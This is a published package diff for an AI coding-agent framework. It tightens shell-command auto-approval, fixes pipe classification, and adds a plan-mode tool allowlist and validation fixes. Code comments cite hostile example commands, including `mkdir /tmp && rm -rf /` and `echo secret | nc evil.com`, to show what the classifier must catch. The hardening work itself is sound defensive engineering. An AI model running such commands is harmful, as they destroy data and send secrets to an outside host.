@cjhyy/code-shell-core 0.5.0-rc.0 → 0.5.0-rc.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (283) hide show
  1. package/dist/agent/agent-definition-registry.d.ts +29 -0
  2. package/dist/agent/agent-definition-registry.js +74 -0
  3. package/dist/agent/agent-definition.d.ts +37 -0
  4. package/dist/agent/agent-definition.js +59 -0
  5. package/dist/arena/arena.js +11 -12
  6. package/dist/arena/context/context-tools.js +2 -4
  7. package/dist/arena/context/within-root.d.ts +7 -0
  8. package/dist/arena/context/within-root.js +15 -0
  9. package/dist/arena/iterate/phases/argue.js +8 -2
  10. package/dist/arena/iterate/phases/revise.js +1 -1
  11. package/dist/arena/iterate/phases/tournament.js +3 -3
  12. package/dist/arena/phases/adjudication.js +1 -4
  13. package/dist/arena/phases/build-consensus.js +1 -4
  14. package/dist/arena/phases/cross-review.js +2 -8
  15. package/dist/arena/phases/debate-rounds.js +1 -4
  16. package/dist/arena/phases/participant-research.js +1 -4
  17. package/dist/arena/phases/planning-detail-expansion.js +8 -10
  18. package/dist/arena/planner.js +0 -1
  19. package/dist/arena/providers/docs.d.ts +1 -0
  20. package/dist/arena/providers/docs.js +5 -2
  21. package/dist/arena/providers/repo.d.ts +1 -0
  22. package/dist/arena/providers/repo.js +5 -2
  23. package/dist/arena/strategies/utils.js +36 -3
  24. package/dist/arena/transitions.d.ts +7 -2
  25. package/dist/arena/transitions.js +9 -4
  26. package/dist/arena/types.d.ts +8 -2
  27. package/dist/automation/cron-expr.d.ts +31 -0
  28. package/dist/automation/cron-expr.js +151 -0
  29. package/dist/automation/index.d.ts +41 -0
  30. package/dist/automation/index.js +39 -0
  31. package/dist/automation/runner.d.ts +67 -0
  32. package/dist/automation/runner.js +56 -0
  33. package/dist/automation/scheduler.d.ts +156 -0
  34. package/dist/automation/scheduler.js +546 -0
  35. package/dist/automation/store.d.ts +39 -0
  36. package/dist/automation/store.js +119 -0
  37. package/dist/automation/write-policy.d.ts +34 -0
  38. package/dist/automation/write-policy.js +113 -0
  39. package/dist/automation/write-run.d.ts +51 -0
  40. package/dist/automation/write-run.js +38 -0
  41. package/dist/capability-control/index.d.ts +5 -0
  42. package/dist/capability-control/index.js +3 -0
  43. package/dist/capability-control/overlay.d.ts +49 -0
  44. package/dist/capability-control/overlay.js +89 -0
  45. package/dist/capability-control/project.d.ts +65 -0
  46. package/dist/capability-control/project.js +147 -0
  47. package/dist/capability-control/service.d.ts +70 -0
  48. package/dist/capability-control/service.js +147 -0
  49. package/dist/capability-control/types.d.ts +62 -0
  50. package/dist/capability-control/types.js +17 -0
  51. package/dist/cli/agent-server-stdio.d.ts +12 -1
  52. package/dist/cli/agent-server-stdio.js +118 -18
  53. package/dist/cli/agent-server-tcp.d.ts +20 -0
  54. package/dist/cli/agent-server-tcp.js +120 -0
  55. package/dist/cli/graceful-shutdown.d.ts +27 -0
  56. package/dist/cli/graceful-shutdown.js +30 -0
  57. package/dist/context/compaction.js +23 -15
  58. package/dist/context/manager.d.ts +0 -20
  59. package/dist/context/manager.js +0 -37
  60. package/dist/cron/cron-runtime.d.ts +2 -0
  61. package/dist/cron/cron-runtime.js +2 -0
  62. package/dist/cron/cron-store.d.ts +2 -0
  63. package/dist/cron/cron-store.js +2 -0
  64. package/dist/cron/scheduler.d.ts +5 -32
  65. package/dist/cron/scheduler.js +5 -113
  66. package/dist/data/openrouter-sync.js +1 -1
  67. package/dist/engine/engine.d.ts +256 -16
  68. package/dist/engine/engine.js +856 -200
  69. package/dist/engine/goal.d.ts +42 -0
  70. package/dist/engine/goal.js +52 -0
  71. package/dist/engine/image-compression.d.ts +81 -0
  72. package/dist/engine/image-compression.js +186 -0
  73. package/dist/engine/image-policy.d.ts +152 -0
  74. package/dist/engine/image-policy.js +165 -0
  75. package/dist/engine/reactive-threshold.d.ts +13 -0
  76. package/dist/engine/reactive-threshold.js +17 -0
  77. package/dist/engine/runtime.js +7 -0
  78. package/dist/engine/session-title.d.ts +13 -0
  79. package/dist/engine/session-title.js +34 -0
  80. package/dist/engine/turn-loop.d.ts +29 -8
  81. package/dist/engine/turn-loop.js +498 -316
  82. package/dist/git/parse-log.d.ts +13 -0
  83. package/dist/git/parse-log.js +21 -0
  84. package/dist/git/utils.d.ts +8 -6
  85. package/dist/git/utils.js +57 -26
  86. package/dist/git/worktree.js +33 -18
  87. package/dist/hooks/events.d.ts +23 -1
  88. package/dist/hooks/goal-stop-hook.d.ts +30 -0
  89. package/dist/hooks/goal-stop-hook.js +102 -0
  90. package/dist/hooks/hook-output.d.ts +33 -0
  91. package/dist/hooks/hook-output.js +79 -0
  92. package/dist/hooks/registry.d.ts +7 -0
  93. package/dist/hooks/registry.js +38 -1
  94. package/dist/hooks/shell-runner.d.ts +2 -0
  95. package/dist/hooks/shell-runner.js +43 -2
  96. package/dist/index.d.ts +32 -7
  97. package/dist/index.js +30 -3
  98. package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
  99. package/dist/llm/capabilities/reasoning-control.js +38 -0
  100. package/dist/llm/capabilities/rules.js +33 -3
  101. package/dist/llm/capabilities/types.d.ts +22 -2
  102. package/dist/llm/clamp-max-tokens.d.ts +11 -0
  103. package/dist/llm/clamp-max-tokens.js +17 -0
  104. package/dist/llm/client-base.d.ts +41 -4
  105. package/dist/llm/client-base.js +67 -13
  106. package/dist/llm/client-factory.d.ts +3 -3
  107. package/dist/llm/client-factory.js +2 -2
  108. package/dist/llm/model-pool.d.ts +15 -11
  109. package/dist/llm/model-pool.js +23 -20
  110. package/dist/llm/provider-catalog.d.ts +2 -2
  111. package/dist/llm/providers/anthropic.d.ts +32 -2
  112. package/dist/llm/providers/anthropic.js +147 -8
  113. package/dist/llm/providers/openai.d.ts +11 -2
  114. package/dist/llm/providers/openai.js +253 -52
  115. package/dist/llm/reasoning-setting.d.ts +51 -0
  116. package/dist/llm/reasoning-setting.js +32 -0
  117. package/dist/llm/stop-reason.d.ts +13 -0
  118. package/dist/llm/stop-reason.js +21 -0
  119. package/dist/llm/strip-vision.d.ts +32 -0
  120. package/dist/llm/strip-vision.js +94 -0
  121. package/dist/llm/types.d.ts +5 -6
  122. package/dist/logging/logger.js +18 -4
  123. package/dist/logging/sanitize-messages.d.ts +10 -0
  124. package/dist/logging/sanitize-messages.js +90 -0
  125. package/dist/lsp/client.js +28 -8
  126. package/dist/lsp/manager.js +2 -1
  127. package/dist/lsp/root-path.d.ts +9 -0
  128. package/dist/lsp/root-path.js +12 -0
  129. package/dist/onboarding.js +18 -11
  130. package/dist/plugins/gitOps.d.ts +34 -0
  131. package/dist/plugins/gitOps.js +59 -3
  132. package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
  133. package/dist/plugins/installer/codex/convertAgents.js +55 -0
  134. package/dist/plugins/installer/codex/convertMcp.d.ts +8 -0
  135. package/dist/plugins/installer/codex/convertMcp.js +45 -0
  136. package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
  137. package/dist/plugins/installer/codex/convertSkills.js +33 -0
  138. package/dist/plugins/installer/detectFormat.d.ts +2 -0
  139. package/dist/plugins/installer/detectFormat.js +6 -0
  140. package/dist/plugins/installer/install.d.ts +7 -0
  141. package/dist/plugins/installer/install.js +99 -0
  142. package/dist/plugins/installer/installFromSource.d.ts +13 -0
  143. package/dist/plugins/installer/installFromSource.js +45 -0
  144. package/dist/plugins/installer/list.d.ts +9 -0
  145. package/dist/plugins/installer/list.js +30 -0
  146. package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
  147. package/dist/plugins/installer/loadPluginAgents.js +23 -0
  148. package/dist/plugins/installer/loadPluginMcp.d.ts +7 -0
  149. package/dist/plugins/installer/loadPluginMcp.js +74 -0
  150. package/dist/plugins/installer/parseSource.d.ts +20 -0
  151. package/dist/plugins/installer/parseSource.js +74 -0
  152. package/dist/plugins/installer/paths.d.ts +5 -0
  153. package/dist/plugins/installer/paths.js +25 -0
  154. package/dist/plugins/installer/types.d.ts +49 -0
  155. package/dist/plugins/installer/types.js +27 -0
  156. package/dist/plugins/installer/uninstall.d.ts +2 -0
  157. package/dist/plugins/installer/uninstall.js +14 -0
  158. package/dist/plugins/installer/update.d.ts +14 -0
  159. package/dist/plugins/installer/update.js +65 -0
  160. package/dist/plugins/loadPluginHooks.d.ts +8 -1
  161. package/dist/plugins/loadPluginHooks.js +11 -1
  162. package/dist/plugins/marketplaceManager.d.ts +8 -1
  163. package/dist/plugins/marketplaceManager.js +38 -4
  164. package/dist/plugins/pluginCommandHook.js +34 -0
  165. package/dist/plugins/pluginInstaller.d.ts +21 -0
  166. package/dist/plugins/pluginInstaller.js +128 -29
  167. package/dist/plugins/schemas.js +40 -6
  168. package/dist/plugins/types.d.ts +4 -0
  169. package/dist/preset/index.js +16 -0
  170. package/dist/prompt/composer.d.ts +10 -0
  171. package/dist/prompt/composer.js +29 -4
  172. package/dist/prompt/sections/orchestration.md +8 -0
  173. package/dist/protocol/chat-session-manager.d.ts +8 -1
  174. package/dist/protocol/chat-session-manager.js +10 -0
  175. package/dist/protocol/chat-session.d.ts +17 -0
  176. package/dist/protocol/chat-session.js +28 -0
  177. package/dist/protocol/redact.d.ts +50 -0
  178. package/dist/protocol/redact.js +71 -0
  179. package/dist/protocol/server.d.ts +41 -2
  180. package/dist/protocol/server.js +231 -33
  181. package/dist/protocol/tcp-transport.d.ts +45 -0
  182. package/dist/protocol/tcp-transport.js +74 -0
  183. package/dist/protocol/types.d.ts +23 -0
  184. package/dist/protocol/types.js +6 -0
  185. package/dist/remote/bridge.d.ts +11 -2
  186. package/dist/remote/bridge.js +61 -33
  187. package/dist/run/ArtifactTracker.js +5 -4
  188. package/dist/run/EngineRunner.d.ts +27 -1
  189. package/dist/run/EngineRunner.js +46 -8
  190. package/dist/run/FileRunStore.js +32 -8
  191. package/dist/run/RunLock.d.ts +28 -2
  192. package/dist/run/RunLock.js +49 -7
  193. package/dist/run/RunManager.js +51 -3
  194. package/dist/run/RunQueue.d.ts +1 -0
  195. package/dist/run/RunQueue.js +8 -2
  196. package/dist/run/factory.d.ts +7 -0
  197. package/dist/run/factory.js +1 -0
  198. package/dist/run/index.d.ts +2 -2
  199. package/dist/run/index.js +1 -1
  200. package/dist/run/redirect-target.d.ts +7 -0
  201. package/dist/run/redirect-target.js +13 -0
  202. package/dist/run/types.js +1 -1
  203. package/dist/services/browser-open.d.ts +13 -0
  204. package/dist/services/browser-open.js +16 -0
  205. package/dist/services/dream-consolidation.d.ts +57 -0
  206. package/dist/services/dream-consolidation.js +151 -0
  207. package/dist/services/memory-orchestrator.js +18 -0
  208. package/dist/services/notifier.d.ts +8 -0
  209. package/dist/services/notifier.js +39 -25
  210. package/dist/services/oauth.js +5 -7
  211. package/dist/services/session-memory-sort.d.ts +8 -0
  212. package/dist/services/session-memory-sort.js +9 -0
  213. package/dist/services/session-memory.js +8 -9
  214. package/dist/session/file-history.js +10 -3
  215. package/dist/session/session-manager.d.ts +23 -1
  216. package/dist/session/session-manager.js +73 -2
  217. package/dist/settings/disk-defaults.d.ts +35 -0
  218. package/dist/settings/disk-defaults.js +24 -0
  219. package/dist/settings/manager.d.ts +45 -1
  220. package/dist/settings/manager.js +121 -17
  221. package/dist/settings/manager.test.d.ts +1 -0
  222. package/dist/settings/manager.test.js +73 -0
  223. package/dist/settings/personalization.d.ts +19 -0
  224. package/dist/settings/personalization.js +7 -0
  225. package/dist/settings/schema.d.ts +1163 -126
  226. package/dist/settings/schema.js +126 -10
  227. package/dist/skills/scanner.d.ts +13 -6
  228. package/dist/skills/scanner.js +23 -4
  229. package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
  230. package/dist/tool-system/builtin/add-marketplace.js +76 -0
  231. package/dist/tool-system/builtin/agent-registry.d.ts +15 -0
  232. package/dist/tool-system/builtin/agent-registry.js +14 -4
  233. package/dist/tool-system/builtin/agent.d.ts +55 -0
  234. package/dist/tool-system/builtin/agent.js +165 -17
  235. package/dist/tool-system/builtin/apply-patch/index.js +22 -3
  236. package/dist/tool-system/builtin/arena.js +6 -7
  237. package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
  238. package/dist/tool-system/builtin/complete-goal.js +45 -0
  239. package/dist/tool-system/builtin/cron.js +53 -9
  240. package/dist/tool-system/builtin/edit.d.ts +2 -1
  241. package/dist/tool-system/builtin/edit.js +6 -1
  242. package/dist/tool-system/builtin/generate-image.d.ts +25 -0
  243. package/dist/tool-system/builtin/generate-image.js +146 -0
  244. package/dist/tool-system/builtin/glob.js +7 -0
  245. package/dist/tool-system/builtin/grep.js +6 -0
  246. package/dist/tool-system/builtin/index.d.ts +18 -1
  247. package/dist/tool-system/builtin/index.js +62 -1
  248. package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
  249. package/dist/tool-system/builtin/notebook-edit.js +8 -1
  250. package/dist/tool-system/builtin/read.d.ts +2 -1
  251. package/dist/tool-system/builtin/read.js +9 -1
  252. package/dist/tool-system/builtin/skill.js +23 -5
  253. package/dist/tool-system/builtin/sleep.js +9 -3
  254. package/dist/tool-system/builtin/task.js +4 -1
  255. package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
  256. package/dist/tool-system/builtin/update-automation-memory.js +60 -0
  257. package/dist/tool-system/builtin/view-image.d.ts +18 -0
  258. package/dist/tool-system/builtin/view-image.js +96 -0
  259. package/dist/tool-system/builtin/web-search.d.ts +4 -1
  260. package/dist/tool-system/builtin/web-search.js +36 -3
  261. package/dist/tool-system/builtin/write.d.ts +2 -1
  262. package/dist/tool-system/builtin/write.js +7 -1
  263. package/dist/tool-system/context.d.ts +43 -0
  264. package/dist/tool-system/executor.d.ts +0 -1
  265. package/dist/tool-system/executor.js +34 -40
  266. package/dist/tool-system/investigation-guard.d.ts +4 -1
  267. package/dist/tool-system/investigation-guard.js +19 -3
  268. package/dist/tool-system/mcp-manager.d.ts +36 -12
  269. package/dist/tool-system/mcp-manager.js +173 -10
  270. package/dist/tool-system/path-policy.d.ts +94 -0
  271. package/dist/tool-system/path-policy.js +279 -0
  272. package/dist/tool-system/permission.js +43 -50
  273. package/dist/tool-system/plan-mode-allowlist.d.ts +21 -0
  274. package/dist/tool-system/plan-mode-allowlist.js +43 -0
  275. package/dist/tool-system/registry.js +12 -1
  276. package/dist/tool-system/validation.d.ts +10 -0
  277. package/dist/tool-system/validation.js +16 -3
  278. package/dist/types.d.ts +90 -15
  279. package/dist/utils/format.js +4 -2
  280. package/dist/utils/lockfile.js +9 -2
  281. package/dist/utils/theme.d.ts +6 -0
  282. package/dist/utils/theme.js +4 -2
  283. package/package.json +2 -1
@@ -37,11 +37,10 @@ export class AutoApprovalBackend {
37
37
  if (req.riskLevel === "low") {
38
38
  return { approved: true };
39
39
  }
40
- // Auto-approve common safe patterns
41
- if (this.isSafeOperation(req)) {
42
- return { approved: true };
43
- }
44
- // Auto-deny high-risk dangerous commands
40
+ // Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
41
+ // must never be auto-approved just because it begins with a "safe" verb
42
+ // (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
43
+ // dangerous; honor that first.
45
44
  if (req.riskLevel === "high") {
46
45
  if (this.delegate) {
47
46
  return this.delegate.requestApproval(req);
@@ -51,11 +50,22 @@ export class AutoApprovalBackend {
51
50
  reason: "auto mode: high-risk operation denied (no interactive approval available)",
52
51
  };
53
52
  }
54
- // Medium risk: delegate if available, otherwise approve
53
+ // Auto-approve common safe patterns (only reachable for low/medium risk).
54
+ if (this.isSafeOperation(req)) {
55
+ return { approved: true };
56
+ }
57
+ // Medium risk that is NOT an established-safe operation: delegate if
58
+ // available, otherwise fail CLOSED (matching the high-risk branch and the
59
+ // "auto = approve safe operations only" contract). Auto-approving here
60
+ // would silently run unvetted commands like `kill`, `npm publish`, or
61
+ // unknown binaries.
55
62
  if (this.delegate) {
56
63
  return this.delegate.requestApproval(req);
57
64
  }
58
- return { approved: true };
65
+ return {
66
+ approved: false,
67
+ reason: "auto mode: medium-risk operation denied (no interactive approval available)",
68
+ };
59
69
  }
60
70
  isSafeOperation(req) {
61
71
  const { toolName, args } = req;
@@ -67,42 +77,15 @@ export class AutoApprovalBackend {
67
77
  return true;
68
78
  }
69
79
  }
70
- // Safe bash commands
80
+ // Safe bash commands. Reuse the metacharacter-aware classifier instead of
81
+ // a naive startsWith() prefix match — the latter only inspects the first
82
+ // token and is blind to command chaining (`&&`/`||`/`;`), substitution,
83
+ // redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
84
+ // through. classifyBashCommand/scanShellCommand handle all of those.
71
85
  if (toolName === "Bash") {
72
86
  const cmd = String(args.command ?? "");
73
- const safePrefixes = [
74
- "git ",
75
- "npm ",
76
- "pnpm ",
77
- "yarn ",
78
- "npx ",
79
- "node ",
80
- "tsc ",
81
- "eslint ",
82
- "prettier ",
83
- "vitest ",
84
- "jest ",
85
- "cargo ",
86
- "go ",
87
- "python ",
88
- "pip ",
89
- "make ",
90
- "ls ",
91
- "cat ",
92
- "head ",
93
- "tail ",
94
- "wc ",
95
- "echo ",
96
- "mkdir ",
97
- "touch ",
98
- "pwd",
99
- "whoami",
100
- "date",
101
- "which ",
102
- ];
103
- if (safePrefixes.some((p) => cmd.startsWith(p))) {
104
- return true;
105
- }
87
+ const level = classifyBashCommand(cmd);
88
+ return level === "safe-read" || level === "safe-write";
106
89
  }
107
90
  return false;
108
91
  }
@@ -455,20 +438,30 @@ function scanShellCommand(input) {
455
438
  function classifySegment(segment) {
456
439
  if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
457
440
  return "dangerous";
458
- if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
459
- return "safe-read";
460
- if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
461
- return "safe-write";
462
- // Pipe handling within a segment: every command in the pipe must
463
- // independently classify as safe-read for the segment to count as
464
- // safe-read. We did not split on `|` in the scanner because pipes
465
- // are not statement boundaries; they're per-segment data flow.
441
+ // Pipe handling FIRST: every command in the pipe must independently
442
+ // classify as safe-read for the segment to count as safe-read. This has to
443
+ // run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
444
+ // those patterns are head-anchored (e.g. /^echo\s/) and would match
445
+ // `echo secret | nc evil.com` on its `echo ` head while ignoring the
446
+ // `| nc ...` exfil tail declaring a piped-to-network command safe-read.
447
+ // We did not split on `|` in the scanner because pipes are not statement
448
+ // boundaries; they're per-segment data flow.
466
449
  if (segment.includes("|")) {
450
+ // A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
451
+ // space was stripped along with the `|`. Test each part both as-is (for
452
+ // `$`-anchored patterns like /^pwd$/) and with a trailing space appended
453
+ // (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
467
454
  const parts = segment.split("|").map((p) => p.trim());
468
- if (parts.every((p) => SAFE_READ_PATTERNS.some((re) => re.test(p)))) {
455
+ const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
456
+ if (parts.every(partIsSafeRead)) {
469
457
  return "safe-read";
470
458
  }
459
+ return "unsafe";
471
460
  }
461
+ if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
462
+ return "safe-read";
463
+ if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
464
+ return "safe-write";
472
465
  return "unsafe";
473
466
  }
474
467
  const SAFETY_RANK = {
@@ -0,0 +1,21 @@
1
+ /**
2
+ * Single source of truth for which tools are permitted in plan mode.
3
+ *
4
+ * Two call sites consume this:
5
+ * - engine.ts: filters the tool DEFINITIONS shown to the model, so the
6
+ * model only sees tools it's allowed to use while planning.
7
+ * - executor.ts: gates tool EXECUTION, refusing anything outside the set.
8
+ *
9
+ * These two lists used to be maintained separately and drifted (engine had
10
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
11
+ * Task family), so the model could be shown a tool the executor would then
12
+ * block, or vice-versa. Keep them identical by importing this constant in
13
+ * both places.
14
+ *
15
+ * Membership policy: read-only tools, planning/agent tools, and
16
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
17
+ * the executor additionally gates Bash to read-only commands at call time
18
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
19
+ * other mutating tools are intentionally excluded.
20
+ */
21
+ export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;
@@ -0,0 +1,43 @@
1
+ /**
2
+ * Single source of truth for which tools are permitted in plan mode.
3
+ *
4
+ * Two call sites consume this:
5
+ * - engine.ts: filters the tool DEFINITIONS shown to the model, so the
6
+ * model only sees tools it's allowed to use while planning.
7
+ * - executor.ts: gates tool EXECUTION, refusing anything outside the set.
8
+ *
9
+ * These two lists used to be maintained separately and drifted (engine had
10
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
11
+ * Task family), so the model could be shown a tool the executor would then
12
+ * block, or vice-versa. Keep them identical by importing this constant in
13
+ * both places.
14
+ *
15
+ * Membership policy: read-only tools, planning/agent tools, and
16
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
17
+ * the executor additionally gates Bash to read-only commands at call time
18
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
19
+ * other mutating tools are intentionally excluded.
20
+ */
21
+ export const PLAN_MODE_ALLOWED_TOOLS = new Set([
22
+ // Plan lifecycle
23
+ "EnterPlanMode",
24
+ "ExitPlanMode",
25
+ // Read-only investigation
26
+ "Read",
27
+ "Glob",
28
+ "Grep",
29
+ "WebSearch",
30
+ "WebFetch",
31
+ // Agent / interaction / discovery
32
+ "AskUserQuestion",
33
+ "Agent",
34
+ "ToolSearch",
35
+ // Task tracking (non-destructive) — both the TodoWrite and the Task* family
36
+ "TodoWrite",
37
+ "TaskCreate",
38
+ "TaskUpdate",
39
+ "TaskList",
40
+ "TaskGet",
41
+ // Bash: visible to the model; executor gates it to read-only commands.
42
+ "Bash",
43
+ ]);
@@ -101,7 +101,18 @@ export class ToolRegistry {
101
101
  ]);
102
102
  clearTimeout(timerId);
103
103
  parentSignal?.removeEventListener("abort", onParentAbort);
104
- return { id, toolName: name, result };
104
+ // executor 可返回纯字符串,或 { contentBlocks, result? }(view_image
105
+ // 用后者回传图片块)。归一化成 ToolResult:有 contentBlocks 就带上,
106
+ // result 始终保留一份文本镜像供 transcript / 摘要使用。
107
+ if (typeof result === "string") {
108
+ return { id, toolName: name, result };
109
+ }
110
+ return {
111
+ id,
112
+ toolName: name,
113
+ result: result.result ?? "(image)",
114
+ contentBlocks: result.contentBlocks,
115
+ };
105
116
  }
106
117
  catch (err) {
107
118
  clearTimeout(timerId);
@@ -1,3 +1,13 @@
1
+ /**
2
+ * Lightweight tool input validation against a JSON Schema.
3
+ *
4
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
5
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
6
+ * nested shapes, and formats are intentionally NOT validated — this is a
7
+ * cheap pre-flight guard, not a substitute for the provider's own schema
8
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
9
+ * never used zod — corrected to avoid misleading readers.)
10
+ */
1
11
  /**
2
12
  * Validate tool args against the tool's inputSchema.
3
13
  * Returns null if valid, error string if invalid.
@@ -1,3 +1,13 @@
1
+ /**
2
+ * Lightweight tool input validation against a JSON Schema.
3
+ *
4
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
5
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
6
+ * nested shapes, and formats are intentionally NOT validated — this is a
7
+ * cheap pre-flight guard, not a substitute for the provider's own schema
8
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
9
+ * never used zod — corrected to avoid misleading readers.)
10
+ */
1
11
  /**
2
12
  * Validate tool args against the tool's inputSchema.
3
13
  * Returns null if valid, error string if invalid.
@@ -6,14 +16,17 @@ export function validateToolArgs(toolName, args, schema) {
6
16
  try {
7
17
  const properties = schema.properties;
8
18
  const required = schema.required ?? [];
9
- if (!properties)
10
- return null;
11
- // Check required fields
19
+ // Required-field presence does not depend on `properties` existing — a
20
+ // schema may declare `required` with no `properties` block (e.g. a
21
+ // malformed external MCP tool schema). Check it before the properties
22
+ // guard so missing params are still caught.
12
23
  for (const field of required) {
13
24
  if (args[field] === undefined || args[field] === null) {
14
25
  return `Missing required parameter: ${field}`;
15
26
  }
16
27
  }
28
+ if (!properties)
29
+ return null; // No property shapes to type-check.
17
30
  // Type check each provided field
18
31
  for (const [key, value] of Object.entries(args)) {
19
32
  const propSchema = properties[key];
package/dist/types.d.ts CHANGED
@@ -9,6 +9,12 @@ export interface ContentBlock {
9
9
  input?: Record<string, unknown>;
10
10
  content?: string | ContentBlock[];
11
11
  tool_use_id?: string;
12
+ /**
13
+ * 标记 tool_result 为出错,让 provider 据此设置 wire 层错误标志
14
+ * (Anthropic 的 `is_error: true`)。不设的话,出错的工具只会以普通
15
+ * content 文字回传,模型可能把超时/中断误当成成功。
16
+ */
17
+ is_error?: boolean;
12
18
  source?: {
13
19
  type: "base64";
14
20
  media_type: string;
@@ -37,6 +43,13 @@ export interface ToolResult {
37
43
  id: string;
38
44
  toolName: string;
39
45
  result?: string;
46
+ /**
47
+ * 结构化结果块(目前仅图片)。存在时优先于 `result` 用作发给 LLM 的
48
+ * tool_result content —— view_image 用它把本地图片以 image ContentBlock
49
+ * 回传,让 vision 模型能「看」自己生成的图。非视觉模型由 provider 的
50
+ * stripVisionFromHistory 自动剥离,所以这里照常带图也安全。
51
+ */
52
+ contentBlocks?: ContentBlock[];
40
53
  error?: string;
41
54
  isError?: boolean;
42
55
  }
@@ -57,7 +70,7 @@ export interface RegisteredTool {
57
70
  */
58
71
  timeoutMs?: number;
59
72
  }
60
- export type TranscriptEventType = "message" | "tool_use" | "tool_result" | "summary" | "content_replace" | "file_history" | "plan_operation" | "session_meta" | "turn_boundary" | "error";
73
+ export type TranscriptEventType = "message" | "tool_use" | "tool_result" | "summary" | "content_replace" | "file_history" | "plan_operation" | "session_meta" | "turn_boundary" | "goal_progress" | "error";
61
74
  export interface TranscriptEvent {
62
75
  id: string;
63
76
  type: TranscriptEventType;
@@ -67,12 +80,16 @@ export interface TranscriptEvent {
67
80
  }
68
81
  /**
69
82
  * Session lifecycle state persisted in state.json. `"active"` means a run is
70
- * currently in flight (or was, at the moment of the last heartbeat). All other
71
- * values match the {@link TerminalReason} the last run returned, so callers
72
- * can distinguish a user-cancelled session (`"aborted_streaming"`) from an
73
- * actual error (`"model_error"`, `"prompt_too_long"`, ...).
83
+ * currently in flight (or was, at the moment of the last heartbeat);
84
+ * `"paused"` is a non-terminal hold (not a {@link TerminalReason}). Every
85
+ * other value matches the TerminalReason the last run returned, so callers can
86
+ * distinguish a user-cancelled session (`"aborted_streaming"`) from an actual
87
+ * error (`"model_error"`, `"prompt_too_long"`, ...).
74
88
  */
75
89
  export type SessionStatus = "active" | "paused" | TerminalReason;
90
+ /** Which host/context created a session — used by the desktop disk-rebuild to
91
+ * filter the sidebar (only `desktop` + `automation` are shown). */
92
+ export type SessionOrigin = "desktop" | "tui" | "automation" | "subagent";
76
93
  export interface SessionState {
77
94
  sessionId: string;
78
95
  cwd: string;
@@ -82,7 +99,18 @@ export interface SessionState {
82
99
  tokenUsage: TokenUsage;
83
100
  turnCount: number;
84
101
  invokedSkills: string[];
85
- parentSessionId?: string;
102
+ /**
103
+ * Owning parent session for a sub-agent run; `null` explicitly marks a
104
+ * top-level session (post-create marker). Absent only on legacy sessions
105
+ * written before this field existed — the desktop disk-rebuild uses
106
+ * "key present && null" to tell a new top-level session apart from legacy.
107
+ */
108
+ parentSessionId?: string | null;
109
+ /**
110
+ * Which host/context created this session. Desktop disk-rebuild shows only
111
+ * `desktop` + `automation`. Absent on legacy sessions.
112
+ */
113
+ origin?: SessionOrigin;
86
114
  status: SessionStatus;
87
115
  /** Short summary derived from the first user message */
88
116
  summary?: string;
@@ -159,7 +187,7 @@ export interface TurnResult {
159
187
  status: "completed" | "tool_use" | "error" | "max_turns" | "aborted";
160
188
  error?: string;
161
189
  }
162
- export type TerminalReason = "completed" | "stop_hook_prevented" | "hook_stopped" | "prompt_too_long" | "model_error" | "aborted_streaming" | "aborted_tools" | "max_turns" | "image_error";
190
+ export type TerminalReason = "completed" | "stop_hook_prevented" | "hook_stopped" | "prompt_too_long" | "model_error" | "aborted_streaming" | "aborted_tools" | "max_turns" | "goal_budget_exhausted" | "image_error";
163
191
  export interface TaskInfo {
164
192
  id: string;
165
193
  subject: string;
@@ -170,6 +198,10 @@ export type StreamEvent = {
170
198
  type: "session_started";
171
199
  sessionId: string;
172
200
  promptTokens: number;
201
+ } | {
202
+ type: "session_title";
203
+ sessionId: string;
204
+ title: string;
173
205
  } | {
174
206
  type: "stream_request_start";
175
207
  turnNumber: number;
@@ -200,6 +232,12 @@ export type StreamEvent = {
200
232
  type: "turn_complete";
201
233
  reason: TerminalReason;
202
234
  agentId?: string;
235
+ } | {
236
+ type: "goal_progress";
237
+ status: "not_met" | "met" | "exhausted";
238
+ round: number;
239
+ gaps?: string;
240
+ agentId?: string;
203
241
  } | {
204
242
  type: "error";
205
243
  error: string;
@@ -210,6 +248,7 @@ export type StreamEvent = {
210
248
  } | {
211
249
  type: "task_update";
212
250
  tasks: TaskInfo[];
251
+ agentId?: string;
213
252
  } | {
214
253
  type: "thinking_delta";
215
254
  text: string;
@@ -219,6 +258,7 @@ export type StreamEvent = {
219
258
  agentId: string;
220
259
  name?: string;
221
260
  description: string;
261
+ agentType?: string;
222
262
  } | {
223
263
  type: "agent_end";
224
264
  agentId: string;
@@ -226,6 +266,7 @@ export type StreamEvent = {
226
266
